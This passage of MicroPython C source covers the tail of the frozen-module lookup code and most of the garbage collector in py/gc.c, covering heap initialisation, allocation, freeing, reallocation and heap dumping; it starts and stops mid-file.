mp_frozen_str_sizes[]; extern const char mp_frozen_str_content[]; // On input, *len contains size of name, on output - size of content const char *mp_find_frozen_str(const char *str, size_t *len) { const char *name = mp_frozen_str_names; size_t offset = 0; for (int i = 0; *name != 0; i++) { size_t l = strlen(name); if (l == *len && !memcmp(str, name, l)) { *len = mp_frozen_str_sizes[i]; return mp_frozen_str_content + offset; } name += l + 1; offset += mp_frozen_str_sizes[i] + 1; } return NULL; } STATIC mp_lexer_t *mp_lexer_frozen_str(const char *str, size_t len) { size_t name_len = len; const char *content = mp_find_frozen_str(str, &len); if (content == NULL) { return NULL; } qstr source = qstr_from_strn(str, name_len); mp_lexer_t *lex = MICROPY_MODULE_FROZEN_LEXER(source, content, len, 0); return lex; } #endif #if MICROPY_MODULE_FROZEN_MPY #include "py/emitglue.h" extern const char mp_frozen_mpy_names[]; extern const mp_raw_code_t *const mp_frozen_mpy_content[]; STATIC const mp_raw_code_t *mp_find_frozen_mpy(const char *str, size_t len) { const char *name = mp_frozen_mpy_names; for (size_t i = 0; *name != 0; i++) { size_t l = strlen(name); if (l == len && !memcmp(str, name, l)) { return mp_frozen_mpy_content[i]; } name += l + 1; } return NULL; } #endif #if MICROPY_MODULE_FROZEN STATIC mp_import_stat_t mp_frozen_stat_helper(const char *name, const char *str) { size_t len = strlen(str); for (int i = 0; *name != 0; i++) { size_t l = strlen(name); if (l >= len && !memcmp(str, name, len)) { if (name[len] == 0) { return MP_IMPORT_STAT_FILE; } else if (name[len] == '/') { return MP_IMPORT_STAT_DIR; } } name += l + 1; } return MP_IMPORT_STAT_NO_EXIST; } mp_import_stat_t mp_frozen_stat(const char *str) { mp_import_stat_t stat; #if MICROPY_MODULE_FROZEN_STR stat = mp_frozen_stat_helper(mp_frozen_str_names, str); if (stat != MP_IMPORT_STAT_NO_EXIST) { return stat; } #endif #if MICROPY_MODULE_FROZEN_MPY stat = mp_frozen_stat_helper(mp_frozen_mpy_names, str); if (stat != MP_IMPORT_STAT_NO_EXIST) { return stat; } #endif return MP_IMPORT_STAT_NO_EXIST; } int mp_find_frozen_module(const char *str, size_t len, void **data) { #if MICROPY_MODULE_FROZEN_STR mp_lexer_t *lex = mp_lexer_frozen_str(str, len); if (lex != NULL) { *data = lex; return MP_FROZEN_STR; } #endif #if MICROPY_MODULE_FROZEN_MPY const mp_raw_code_t *rc = mp_find_frozen_mpy(str, len); if (rc != NULL) { *data = (void*)rc; return MP_FROZEN_MPY; } #endif return MP_FROZEN_NONE; } #endif ================================================ FILE: micropython/source/py/gc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/gc.h" #include "py/obj.h" #include "py/runtime.h" #if MICROPY_ENABLE_GC #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif // make this 1 to dump the heap each time it changes #define EXTENSIVE_HEAP_PROFILING (0) #define WORDS_PER_BLOCK ((MICROPY_BYTES_PER_GC_BLOCK) / BYTES_PER_WORD) #define BYTES_PER_BLOCK (MICROPY_BYTES_PER_GC_BLOCK) // ATB = allocation table byte // 0b00 = FREE -- free block // 0b01 = HEAD -- head of a chain of blocks // 0b10 = TAIL -- in the tail of a chain of blocks // 0b11 = MARK -- marked head block #define AT_FREE (0) #define AT_HEAD (1) #define AT_TAIL (2) #define AT_MARK (3) #define BLOCKS_PER_ATB (4) #define ATB_MASK_0 (0x03) #define ATB_MASK_1 (0x0c) #define ATB_MASK_2 (0x30) #define ATB_MASK_3 (0xc0) #define ATB_0_IS_FREE(a) (((a) & ATB_MASK_0) == 0) #define ATB_1_IS_FREE(a) (((a) & ATB_MASK_1) == 0) #define ATB_2_IS_FREE(a) (((a) & ATB_MASK_2) == 0) #define ATB_3_IS_FREE(a) (((a) & ATB_MASK_3) == 0) #define BLOCK_SHIFT(block) (2 * ((block) & (BLOCKS_PER_ATB - 1))) #define ATB_GET_KIND(block) ((MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] >> BLOCK_SHIFT(block)) & 3) #define ATB_ANY_TO_FREE(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] &= (~(AT_MARK << BLOCK_SHIFT(block))); } while (0) #define ATB_FREE_TO_HEAD(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_HEAD << BLOCK_SHIFT(block)); } while (0) #define ATB_FREE_TO_TAIL(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_TAIL << BLOCK_SHIFT(block)); } while (0) #define ATB_HEAD_TO_MARK(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_MARK << BLOCK_SHIFT(block)); } while (0) #define ATB_MARK_TO_HEAD(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] &= (~(AT_TAIL << BLOCK_SHIFT(block))); } while (0) #define BLOCK_FROM_PTR(ptr) (((byte*)(ptr) - MP_STATE_MEM(gc_pool_start)) / BYTES_PER_BLOCK) #define PTR_FROM_BLOCK(block) (((block) * BYTES_PER_BLOCK + (uintptr_t)MP_STATE_MEM(gc_pool_start))) #define ATB_FROM_BLOCK(bl) ((bl) / BLOCKS_PER_ATB) #if MICROPY_ENABLE_FINALISER // FTB = finaliser table byte // if set, then the corresponding block may have a finaliser #define BLOCKS_PER_FTB (8) #define FTB_GET(block) ((MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] >> ((block) & 7)) & 1) #define FTB_SET(block) do { MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] |= (1 << ((block) & 7)); } while (0) #define FTB_CLEAR(block) do { MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] &= (~(1 << ((block) & 7))); } while (0) #endif #if MICROPY_PY_THREAD && !MICROPY_PY_THREAD_GIL #define GC_ENTER() mp_thread_mutex_lock(&MP_STATE_MEM(gc_mutex), 1) #define GC_EXIT() mp_thread_mutex_unlock(&MP_STATE_MEM(gc_mutex)) #else #define GC_ENTER() #define GC_EXIT() #endif // TODO waste less memory; currently requires that all entries in alloc_table have a corresponding block in pool void gc_init(void *start, void *end) { // align end pointer on block boundary end = (void*)((uintptr_t)end & (~(BYTES_PER_BLOCK - 1))); DEBUG_printf("Initializing GC heap: %p..%p = " UINT_FMT " bytes\n", start, end, (byte*)end - (byte*)start); // calculate parameters for GC (T=total, A=alloc table, F=finaliser table, P=pool; all in bytes): // T = A + F + P // F = A * BLOCKS_PER_ATB / BLOCKS_PER_FTB // P = A * BLOCKS_PER_ATB * BYTES_PER_BLOCK // => T = A * (1 + BLOCKS_PER_ATB / BLOCKS_PER_FTB + BLOCKS_PER_ATB * BYTES_PER_BLOCK) size_t total_byte_len = (byte*)end - (byte*)start; #if MICROPY_ENABLE_FINALISER MP_STATE_MEM(gc_alloc_table_byte_len) = total_byte_len * BITS_PER_BYTE / (BITS_PER_BYTE + BITS_PER_BYTE * BLOCKS_PER_ATB / BLOCKS_PER_FTB + BITS_PER_BYTE * BLOCKS_PER_ATB * BYTES_PER_BLOCK); #else MP_STATE_MEM(gc_alloc_table_byte_len) = total_byte_len / (1 + BITS_PER_BYTE / 2 * BYTES_PER_BLOCK); #endif MP_STATE_MEM(gc_alloc_table_start) = (byte*)start; #if MICROPY_ENABLE_FINALISER size_t gc_finaliser_table_byte_len = (MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB + BLOCKS_PER_FTB - 1) / BLOCKS_PER_FTB; MP_STATE_MEM(gc_finaliser_table_start) = MP_STATE_MEM(gc_alloc_table_start) + MP_STATE_MEM(gc_alloc_table_byte_len); #endif size_t gc_pool_block_len = MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; MP_STATE_MEM(gc_pool_start) = (byte*)end - gc_pool_block_len * BYTES_PER_BLOCK; MP_STATE_MEM(gc_pool_end) = end; #if MICROPY_ENABLE_FINALISER assert(MP_STATE_MEM(gc_pool_start) >= MP_STATE_MEM(gc_finaliser_table_start) + gc_finaliser_table_byte_len); #endif // clear ATBs memset(MP_STATE_MEM(gc_alloc_table_start), 0, MP_STATE_MEM(gc_alloc_table_byte_len)); #if MICROPY_ENABLE_FINALISER // clear FTBs memset(MP_STATE_MEM(gc_finaliser_table_start), 0, gc_finaliser_table_byte_len); #endif // set last free ATB index to start of heap MP_STATE_MEM(gc_last_free_atb_index) = 0; // unlock the GC MP_STATE_MEM(gc_lock_depth) = 0; // allow auto collection MP_STATE_MEM(gc_auto_collect_enabled) = 1; #if MICROPY_GC_ALLOC_THRESHOLD // by default, maxuint for gc threshold, effectively turning gc-by-threshold off MP_STATE_MEM(gc_alloc_threshold) = (size_t)-1; MP_STATE_MEM(gc_alloc_amount) = 0; #endif #if MICROPY_PY_THREAD mp_thread_mutex_init(&MP_STATE_MEM(gc_mutex)); #endif DEBUG_printf("GC layout:\n"); DEBUG_printf(" alloc table at %p, length " UINT_FMT " bytes, " UINT_FMT " blocks\n", MP_STATE_MEM(gc_alloc_table_start), MP_STATE_MEM(gc_alloc_table_byte_len), MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB); #if MICROPY_ENABLE_FINALISER DEBUG_printf(" finaliser table at %p, length " UINT_FMT " bytes, " UINT_FMT " blocks\n", MP_STATE_MEM(gc_finaliser_table_start), gc_finaliser_table_byte_len, gc_finaliser_table_byte_len * BLOCKS_PER_FTB); #endif DEBUG_printf(" pool at %p, length " UINT_FMT " bytes, " UINT_FMT " blocks\n", MP_STATE_MEM(gc_pool_start), gc_pool_block_len * BYTES_PER_BLOCK, gc_pool_block_len); } void gc_lock(void) { GC_ENTER(); MP_STATE_MEM(gc_lock_depth)++; GC_EXIT(); } void gc_unlock(void) { GC_ENTER(); MP_STATE_MEM(gc_lock_depth)--; GC_EXIT(); } bool gc_is_locked(void) { return MP_STATE_MEM(gc_lock_depth) != 0; } // ptr should be of type void* #define VERIFY_PTR(ptr) ( \ ((uintptr_t)(ptr) & (BYTES_PER_BLOCK - 1)) == 0 /* must be aligned on a block */ \ && ptr >= (void*)MP_STATE_MEM(gc_pool_start) /* must be above start of pool */ \ && ptr < (void*)MP_STATE_MEM(gc_pool_end) /* must be below end of pool */ \ ) // ptr should be of type void* #define VERIFY_MARK_AND_PUSH(ptr) \ do { \ if (VERIFY_PTR(ptr)) { \ size_t _block = BLOCK_FROM_PTR(ptr); \ if (ATB_GET_KIND(_block) == AT_HEAD) { \ /* an unmarked head, mark it, and push it on gc stack */ \ DEBUG_printf("gc_mark(%p)\n", ptr); \ ATB_HEAD_TO_MARK(_block); \ if (MP_STATE_MEM(gc_sp) < &MP_STATE_MEM(gc_stack)[MICROPY_ALLOC_GC_STACK_SIZE]) { \ *MP_STATE_MEM(gc_sp)++ = _block; \ } else { \ MP_STATE_MEM(gc_stack_overflow) = 1; \ } \ } \ } \ } while (0) STATIC void gc_drain_stack(void) { while (MP_STATE_MEM(gc_sp) > MP_STATE_MEM(gc_stack)) { // pop the next block off the stack size_t block = *--MP_STATE_MEM(gc_sp); // work out number of consecutive blocks in the chain starting with this one size_t n_blocks = 0; do { n_blocks += 1; } while (ATB_GET_KIND(block + n_blocks) == AT_TAIL); // check this block's children void **ptrs = (void**)PTR_FROM_BLOCK(block); for (size_t i = n_blocks * BYTES_PER_BLOCK / sizeof(void*); i > 0; i--, ptrs++) { void *ptr = *ptrs; VERIFY_MARK_AND_PUSH(ptr); } } } STATIC void gc_deal_with_stack_overflow(void) { while (MP_STATE_MEM(gc_stack_overflow)) { MP_STATE_MEM(gc_stack_overflow) = 0; MP_STATE_MEM(gc_sp) = MP_STATE_MEM(gc_stack); // scan entire memory looking for blocks which have been marked but not their children for (size_t block = 0; block < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; block++) { // trace (again) if mark bit set if (ATB_GET_KIND(block) == AT_MARK) { *MP_STATE_MEM(gc_sp)++ = block; gc_drain_stack(); } } } } STATIC void gc_sweep(void) { #if MICROPY_PY_GC_COLLECT_RETVAL MP_STATE_MEM(gc_collected) = 0; #endif // free unmarked heads and their tails int free_tail = 0; for (size_t block = 0; block < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; block++) { switch (ATB_GET_KIND(block)) { case AT_HEAD: #if MICROPY_ENABLE_FINALISER if (FTB_GET(block)) { mp_obj_base_t *obj = (mp_obj_base_t*)PTR_FROM_BLOCK(block); if (obj->type != NULL) { // if the object has a type then see if it has a __del__ method mp_obj_t dest[2]; mp_load_method_maybe(MP_OBJ_FROM_PTR(obj), MP_QSTR___del__, dest); if (dest[0] != MP_OBJ_NULL) { // load_method returned a method, execute it in a protected environment #if MICROPY_ENABLE_SCHEDULER mp_sched_lock(); #endif mp_call_function_1_protected(dest[0], dest[1]); #if MICROPY_ENABLE_SCHEDULER mp_sched_unlock(); #endif } } // clear finaliser flag FTB_CLEAR(block); } #endif free_tail = 1; DEBUG_printf("gc_sweep(%x)\n", PTR_FROM_BLOCK(block)); #if MICROPY_PY_GC_COLLECT_RETVAL MP_STATE_MEM(gc_collected)++; #endif // fall through to free the head case AT_TAIL: if (free_tail) { ATB_ANY_TO_FREE(block); } break; case AT_MARK: ATB_MARK_TO_HEAD(block); free_tail = 0; break; } } } void gc_collect_start(void) { GC_ENTER(); MP_STATE_MEM(gc_lock_depth)++; #if MICROPY_GC_ALLOC_THRESHOLD MP_STATE_MEM(gc_alloc_amount) = 0; #endif MP_STATE_MEM(gc_stack_overflow) = 0; MP_STATE_MEM(gc_sp) = MP_STATE_MEM(gc_stack); // Trace root pointers. This relies on the root pointers being organised // correctly in the mp_state_ctx structure. We scan nlr_top, dict_locals, // dict_globals, then the root pointer section of mp_state_vm. void **ptrs = (void**)(void*)&mp_state_ctx; gc_collect_root(ptrs, offsetof(mp_state_ctx_t, vm.qstr_last_chunk) / sizeof(void*)); } void gc_collect_root(void **ptrs, size_t len) { for (size_t i = 0; i < len; i++) { void *ptr = ptrs[i]; VERIFY_MARK_AND_PUSH(ptr); gc_drain_stack(); } } void gc_collect_end(void) { gc_deal_with_stack_overflow(); gc_sweep(); MP_STATE_MEM(gc_last_free_atb_index) = 0; MP_STATE_MEM(gc_lock_depth)--; GC_EXIT(); } void gc_info(gc_info_t *info) { GC_ENTER(); info->total = MP_STATE_MEM(gc_pool_end) - MP_STATE_MEM(gc_pool_start); info->used = 0; info->free = 0; info->max_free = 0; info->num_1block = 0; info->num_2block = 0; info->max_block = 0; bool finish = false; for (size_t block = 0, len = 0, len_free = 0; !finish;) { size_t kind = ATB_GET_KIND(block); switch (kind) { case AT_FREE: info->free += 1; len_free += 1; len = 0; break; case AT_HEAD: info->used += 1; len = 1; break; case AT_TAIL: info->used += 1; len += 1; break; case AT_MARK: // shouldn't happen break; } block++; finish = (block == MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB); // Get next block type if possible if (!finish) { kind = ATB_GET_KIND(block); } if (finish || kind == AT_FREE || kind == AT_HEAD) { if (len == 1) { info->num_1block += 1; } else if (len == 2) { info->num_2block += 1; } if (len > info->max_block) { info->max_block = len; } if (finish || kind == AT_HEAD) { if (len_free > info->max_free) { info->max_free = len_free; } len_free = 0; } } } info->used *= BYTES_PER_BLOCK; info->free *= BYTES_PER_BLOCK; GC_EXIT(); } void *gc_alloc(size_t n_bytes, bool has_finaliser) { size_t n_blocks = ((n_bytes + BYTES_PER_BLOCK - 1) & (~(BYTES_PER_BLOCK - 1))) / BYTES_PER_BLOCK; DEBUG_printf("gc_alloc(" UINT_FMT " bytes -> " UINT_FMT " blocks)\n", n_bytes, n_blocks); // check for 0 allocation if (n_blocks == 0) { return NULL; } GC_ENTER(); // check if GC is locked if (MP_STATE_MEM(gc_lock_depth) > 0) { GC_EXIT(); return NULL; } size_t i; size_t end_block; size_t start_block; size_t n_free = 0; int collected = !MP_STATE_MEM(gc_auto_collect_enabled); #if MICROPY_GC_ALLOC_THRESHOLD if (!collected && MP_STATE_MEM(gc_alloc_amount) >= MP_STATE_MEM(gc_alloc_threshold)) { GC_EXIT(); gc_collect(); GC_ENTER(); } #endif for (;;) { // look for a run of n_blocks available blocks for (i = MP_STATE_MEM(gc_last_free_atb_index); i < MP_STATE_MEM(gc_alloc_table_byte_len); i++) { byte a = MP_STATE_MEM(gc_alloc_table_start)[i]; if (ATB_0_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 0; goto found; } } else { n_free = 0; } if (ATB_1_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 1; goto found; } } else { n_free = 0; } if (ATB_2_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 2; goto found; } } else { n_free = 0; } if (ATB_3_IS_FREE(a)) { if (++n_free >= n_blocks) { i = i * BLOCKS_PER_ATB + 3; goto found; } } else { n_free = 0; } } GC_EXIT(); // nothing found! if (collected) { return NULL; } DEBUG_printf("gc_alloc(" UINT_FMT "): no free mem, triggering GC\n", n_bytes); gc_collect(); collected = 1; GC_ENTER(); } // found, ending at block i inclusive found: // get starting and end blocks, both inclusive end_block = i; start_block = i - n_free + 1; // Set last free ATB index to block after last block we found, for start of // next scan. To reduce fragmentation, we only do this if we were looking // for a single free block, which guarantees that there are no free blocks // before this one. Also, whenever we free or shink a block we must check // if this index needs adjusting (see gc_realloc and gc_free). if (n_free == 1) { MP_STATE_MEM(gc_last_free_atb_index) = (i + 1) / BLOCKS_PER_ATB; } // mark first block as used head ATB_FREE_TO_HEAD(start_block); // mark rest of blocks as used tail // TODO for a run of many blocks can make this more efficient for (size_t bl = start_block + 1; bl <= end_block; bl++) { ATB_FREE_TO_TAIL(bl); } // get pointer to first block // we must create this pointer before unlocking the GC so a collection can find it void *ret_ptr = (void*)(MP_STATE_MEM(gc_pool_start) + start_block * BYTES_PER_BLOCK); DEBUG_printf("gc_alloc(%p)\n", ret_ptr); #if MICROPY_GC_ALLOC_THRESHOLD MP_STATE_MEM(gc_alloc_amount) += n_blocks; #endif GC_EXIT(); #if MICROPY_GC_CONSERVATIVE_CLEAR // be conservative and zero out all the newly allocated blocks memset((byte*)ret_ptr, 0, (end_block - start_block + 1) * BYTES_PER_BLOCK); #else // zero out the additional bytes of the newly allocated blocks // This is needed because the blocks may have previously held pointers // to the heap and will not be set to something else if the caller // doesn't actually use the entire block. As such they will continue // to point to the heap and may prevent other blocks from being reclaimed. memset((byte*)ret_ptr + n_bytes, 0, (end_block - start_block + 1) * BYTES_PER_BLOCK - n_bytes); #endif #if MICROPY_ENABLE_FINALISER if (has_finaliser) { // clear type pointer in case it is never set ((mp_obj_base_t*)ret_ptr)->type = NULL; // set mp_obj flag only if it has a finaliser GC_ENTER(); FTB_SET(start_block); GC_EXIT(); } #else (void)has_finaliser; #endif #if EXTENSIVE_HEAP_PROFILING gc_dump_alloc_table(); #endif return ret_ptr; } /* void *gc_alloc(mp_uint_t n_bytes) { return _gc_alloc(n_bytes, false); } void *gc_alloc_with_finaliser(mp_uint_t n_bytes) { return _gc_alloc(n_bytes, true); } */ // force the freeing of a piece of memory // TODO: freeing here does not call finaliser void gc_free(void *ptr) { GC_ENTER(); if (MP_STATE_MEM(gc_lock_depth) > 0) { // TODO how to deal with this error? GC_EXIT(); return; } DEBUG_printf("gc_free(%p)\n", ptr); if (ptr == NULL) { GC_EXIT(); } else { // get the GC block number corresponding to this pointer assert(VERIFY_PTR(ptr)); size_t block = BLOCK_FROM_PTR(ptr); assert(ATB_GET_KIND(block) == AT_HEAD); #if MICROPY_ENABLE_FINALISER FTB_CLEAR(block); #endif // set the last_free pointer to this block if it's earlier in the heap if (block / BLOCKS_PER_ATB < MP_STATE_MEM(gc_last_free_atb_index)) { MP_STATE_MEM(gc_last_free_atb_index) = block / BLOCKS_PER_ATB; } // free head and all of its tail blocks do { ATB_ANY_TO_FREE(block); block += 1; } while (ATB_GET_KIND(block) == AT_TAIL); GC_EXIT(); #if EXTENSIVE_HEAP_PROFILING gc_dump_alloc_table(); #endif } } size_t gc_nbytes(const void *ptr) { GC_ENTER(); if (VERIFY_PTR(ptr)) { size_t block = BLOCK_FROM_PTR(ptr); if (ATB_GET_KIND(block) == AT_HEAD) { // work out number of consecutive blocks in the chain starting with this on size_t n_blocks = 0; do { n_blocks += 1; } while (ATB_GET_KIND(block + n_blocks) == AT_TAIL); GC_EXIT(); return n_blocks * BYTES_PER_BLOCK; } } // invalid pointer GC_EXIT(); return 0; } #if 0 // old, simple realloc that didn't expand memory in place void *gc_realloc(void *ptr, mp_uint_t n_bytes) { mp_uint_t n_existing = gc_nbytes(ptr); if (n_bytes <= n_existing) { return ptr; } else { bool has_finaliser; if (ptr == NULL) { has_finaliser = false; } else { #if MICROPY_ENABLE_FINALISER has_finaliser = FTB_GET(BLOCK_FROM_PTR((mp_uint_t)ptr)); #else has_finaliser = false; #endif } void *ptr2 = gc_alloc(n_bytes, has_finaliser); if (ptr2 == NULL) { return ptr2; } memcpy(ptr2, ptr, n_existing); gc_free(ptr); return ptr2; } } #else // Alternative gc_realloc impl void *gc_realloc(void *ptr_in, size_t n_bytes, bool allow_move) { // check for pure allocation if (ptr_in == NULL) { return gc_alloc(n_bytes, false); } // check for pure free if (n_bytes == 0) { gc_free(ptr_in); return NULL; } void *ptr = ptr_in; // sanity check the ptr if (!VERIFY_PTR(ptr)) { return NULL; } // get first block size_t block = BLOCK_FROM_PTR(ptr); GC_ENTER(); // sanity check the ptr is pointing to the head of a block if (ATB_GET_KIND(block) != AT_HEAD) { GC_EXIT(); return NULL; } if (MP_STATE_MEM(gc_lock_depth) > 0) { GC_EXIT(); return NULL; } // compute number of new blocks that are requested size_t new_blocks = (n_bytes + BYTES_PER_BLOCK - 1) / BYTES_PER_BLOCK; // Get the total number of consecutive blocks that are already allocated to // this chunk of memory, and then count the number of free blocks following // it. Stop if we reach the end of the heap, or if we find enough extra // free blocks to satisfy the realloc. Note that we need to compute the // total size of the existing memory chunk so we can correctly and // efficiently shrink it (see below for shrinking code). size_t n_free = 0; size_t n_blocks = 1; // counting HEAD block size_t max_block = MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; for (size_t bl = block + n_blocks; bl < max_block; bl++) { byte block_type = ATB_GET_KIND(bl); if (block_type == AT_TAIL) { n_blocks++; continue; } if (block_type == AT_FREE) { n_free++; if (n_blocks + n_free >= new_blocks) { // stop as soon as we find enough blocks for n_bytes break; } continue; } break; } // return original ptr if it already has the requested number of blocks if (new_blocks == n_blocks) { GC_EXIT(); return ptr_in; } // check if we can shrink the allocated area if (new_blocks < n_blocks) { // free unneeded tail blocks for (size_t bl = block + new_blocks, count = n_blocks - new_blocks; count > 0; bl++, count--) { ATB_ANY_TO_FREE(bl); } // set the last_free pointer to end of this block if it's earlier in the heap if ((block + new_blocks) / BLOCKS_PER_ATB < MP_STATE_MEM(gc_last_free_atb_index)) { MP_STATE_MEM(gc_last_free_atb_index) = (block + new_blocks) / BLOCKS_PER_ATB; } GC_EXIT(); #if EXTENSIVE_HEAP_PROFILING gc_dump_alloc_table(); #endif return ptr_in; } // check if we can expand in place if (new_blocks <= n_blocks + n_free) { // mark few more blocks as used tail for (size_t bl = block + n_blocks; bl < block + new_blocks; bl++) { assert(ATB_GET_KIND(bl) == AT_FREE); ATB_FREE_TO_TAIL(bl); } GC_EXIT(); #if MICROPY_GC_CONSERVATIVE_CLEAR // be conservative and zero out all the newly allocated blocks memset((byte*)ptr_in + n_blocks * BYTES_PER_BLOCK, 0, (new_blocks - n_blocks) * BYTES_PER_BLOCK); #else // zero out the additional bytes of the newly allocated blocks (see comment above in gc_alloc) memset((byte*)ptr_in + n_bytes, 0, new_blocks * BYTES_PER_BLOCK - n_bytes); #endif #if EXTENSIVE_HEAP_PROFILING gc_dump_alloc_table(); #endif return ptr_in; } #if MICROPY_ENABLE_FINALISER bool ftb_state = FTB_GET(block); #else bool ftb_state = false; #endif GC_EXIT(); if (!allow_move) { // not allowed to move memory block so return failure return NULL; } // can't resize inplace; try to find a new contiguous chain void *ptr_out = gc_alloc(n_bytes, ftb_state); // check that the alloc succeeded if (ptr_out == NULL) { return NULL; } DEBUG_printf("gc_realloc(%p -> %p)\n", ptr_in, ptr_out); memcpy(ptr_out, ptr_in, n_blocks * BYTES_PER_BLOCK); gc_free(ptr_in); return ptr_out; } #endif // Alternative gc_realloc impl void gc_dump_info(void) { gc_info_t info; gc_info(&info); mp_printf(&mp_plat_print, "GC: total: %u, used: %u, free: %u\n", (uint)info.total, (uint)info.used, (uint)info.free); mp_printf(&mp_plat_print, " No. of 1-blocks: %u, 2-blocks: %u, max blk sz: %u, max free sz: %u\n", (uint)info.num_1block, (uint)info.num_2block, (uint)info.max_block, (uint)info.max_free); } void gc_dump_alloc_table(void) { GC_ENTER(); static const size_t DUMP_BYTES_PER_LINE = 64; #if !EXTENSIVE_HEAP_PROFILING // When comparing heap output we don't want to print the starting // pointer of the heap because it changes from run to run. mp_printf(&mp_plat_print, "GC memory layout; from %p:", MP_STATE_MEM(gc_pool_start)); #endif for (size_t bl = 0; bl < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; bl++) { if (bl % DUMP_BYTES_PER_LINE == 0) { // a new line of blocks { // check if this line contains only free blocks size_t bl2 = bl; while (bl2 < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB && ATB_GET_KIND(bl2) == AT_FREE) { bl2++; } if (bl2 - bl >= 2 * DUMP_BYTES_PER_LINE) { // there are at least 2 lines containing only free blocks, so abbreviate their printing mp_printf(&mp_plat_print, "\n (%u lines all free)", (uint)(bl2 - bl) / DUMP_BYTES_PER_LINE); bl = bl2 & (~(DUMP_BYTES_PER_LINE - 1)); if (bl >= MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB) { // got to end of heap break; } } } // print header for new line of blocks // (the cast to uint32_t is for 16-bit ports) //mp_printf(&mp_plat_print, "\n%05x: ", (uint)(PTR_FROM_BLOCK(bl) & (uint32_t)0xfffff)); mp_printf(&mp_plat_print, "\n%05x: ", (uint)((bl * BYTES_PER_BLOCK) & (uint32_t)0xfffff)); } int c = ' '; switch (ATB_GET_KIND(bl)) { case AT_FREE: c = '.'; break; /* this prints out if the object is reachable from BSS or STACK (for unix only) case AT_HEAD: { c = 'h'; void **ptrs = (void**)(void*)&mp_state_ctx; mp_uint_t len = offsetof(mp_state_ctx_t, vm.stack_top) / sizeof(mp_uint_t); for (mp_uint_t i = 0; i < len; i++) { mp_uint_t ptr = (mp_uint_t)ptrs[i]; if (VERIFY_PTR(ptr) && BLOCK_FROM_PTR(ptr) == bl) { c = 'B'; break; } } if (c == 'h') { ptrs = (void**)&c; len = ((mp_uint_t)MP_STATE_THREAD(stack_top) - (mp_uint_t)&c) / sizeof(mp_uint_t); for (mp_uint_t i = 0; i < len; i++) { mp_uint_t ptr = (mp_uint_t)ptrs[i]; if (VERIFY_PTR(ptr) && BLOCK_FROM_PTR(ptr) == bl) { c = 'S'; break; } } } break; } */ /* this prints the uPy object type of the head block */ case AT_HEAD: { void **ptr = (void**)(MP_STATE_MEM(gc_pool_start) + bl * BYTES_PER_BLOCK); if (*ptr == &mp_type_tuple) { c = 'T'; } else if (*ptr == &mp_type_list) { c = 'L'; } else if (*ptr == &mp_type_dict) { c = 'D'; } else if (*ptr == &mp_type_str || *ptr == &mp_type_bytes) { c = 'S'; } #if MICROPY_PY_BUILTINS_BYTEARRAY else if (*ptr == &mp_type_bytearray) { c = 'A'; } #endif #if MICROPY_PY_ARRAY else if (*ptr == &mp_type_array) { c = 'A'; } #endif #if MICROPY_PY_BUILTINS_FLOAT else if (*ptr == &mp_type_float) { c = 'F'; } #endif else if (*ptr == &mp_type_fun_bc) { c = 'B'; } else if (*ptr == &mp_type_module) { c = 'M'; } else { c = 'h'; #if 0 // This code prints "Q" for qstr-pool data, and "q" for qstr-str // data. It can be useful to see how qstrs are being allocated, // but is disabled by default because it is very slow. for (qstr_pool_t *pool = MP_STATE_VM(last_pool); c == 'h' && pool != NULL; pool = pool->prev) { if ((qstr_pool_t*)ptr == pool) { c = 'Q'; break; } for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) { if ((const byte*)ptr == *q) { c = 'q'; break; } } } #endif } break; } case AT_TAIL: c = '='; break; case AT_MARK: c = 